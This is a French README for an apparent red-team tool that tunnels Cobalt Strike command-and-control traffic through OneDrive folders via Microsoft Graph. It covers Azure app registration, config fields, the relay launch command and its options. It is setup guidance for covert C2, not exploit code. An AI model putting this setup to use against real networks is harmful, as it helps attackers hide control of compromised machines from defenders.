
OneDrive comme transport C2 dissimulé pour Cobalt Strike
Un canal C2 défini par l'utilisateur pour Cobalt Strike qui utilise OneDrive comme couche de transport.

Files.ReadWrite.All.Dans le portail Azure, accédez à App registrations et créez une nouvelle application :
Notez le tenant ID et le client ID depuis la page de vue d'ensemble.
Sous API permissions :
Files.ReadWrite.All.Sous Certificates & secrets, créez un nouveau secret et copiez sa valeur.
Dans le OneDrive de l'utilisateur, créez deux dossiers, un pour la boîte de réception et un pour la
boîte d'envoi (par exemple c2inbox et c2outbox).
Ouvrez Graph Explorer, connectez-vous en tant que cet utilisateur, et exécutez :
GET https://graph.microsoft.com/v1.0/me/drive/root/children
Récupérez l'id de chaque dossier et le driveId depuis n'importe quelle entrée de la réponse JSON.
cp server/config.json.example server/config.json
Remplissez server/config.json :
| Champ | Valeur |
|---|---|
tenant_id | ID du tenant Microsoft Entra ID |
client_id | ID client de l'application |
client_secret | Valeur du secret client |
drive_id | ID du drive OneDrive |
inbox_folder_id | ID du dossier de réception |
outbox_folder_id | ID du dossier d'envoi |
Puis compilez le client :
make
Démarrez le relais (utilisez screen ou tmux pour qu'il reste actif si votre terminal se déconnecte) :
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
Dans Cobalt Strike, créez un listener UDC2 sur le même port et chargez client/bof.o.
| Option | Description |
|---|---|
--config | Chemin vers config.json (requis) |
--ts-addr | IP du teamserver |
--ts-port | Port du listener UDC2 |
--poll | Intervalle de polling en secondes (par défaut 2.0) |
--state | Chemin vers le fichier d'état (par défaut : <config>.state.json) |
--debug | Activer la journalisation de débogage |
--clean | Supprimer le fichier d'état et le répertoire spool, puis quitter |
Le relais crée quelques fichiers à côté de votre config pour suivre les choses entre les redémarrages :
config.json.state.json) - suit quels fichiers de la boîte de réception ont été traités, les uploads en attente, et les informations de session du beacon. Définissez un chemin personnalisé avec --state.config.json.state.json.spool/) - contient les données de réponse qui n'ont pas encore été uploadées vers OneDrive. Si le relais plante en plein upload, le spool conserve les données pour qu'il puisse réessayer au prochain démarrage.config.json.state.json.lock) - empêche deux instances du relais de s'exécuter sur le même état. Si vous voyez Another relay holds the lock et qu'aucun autre relais ne tourne, le verrou est obsolète suite à un crash.Si l'état local du relais est corrompu ou qu'un verrou obsolète bloque le démarrage, utilisez --clean pour effacer le fichier d'état et le répertoire spool afin que le relais reparte de zéro :
python3 server/relay.py --config server/config.json --clean
Le fichier de verrou est conservé. Le relais ne nettoiera pas tant qu'une autre instance est en cours d'exécution. Au prochain démarrage normal, il se réinitialise et ignore les fichiers de la boîte de réception datant de plus de 30 minutes.
Vous pouvez aussi réinitialiser manuellement en supprimant vous-même le fichier d'état et le répertoire spool. Si le fichier de verrou est obsolète (aucun relais en cours d'exécution), supprimez-le également.
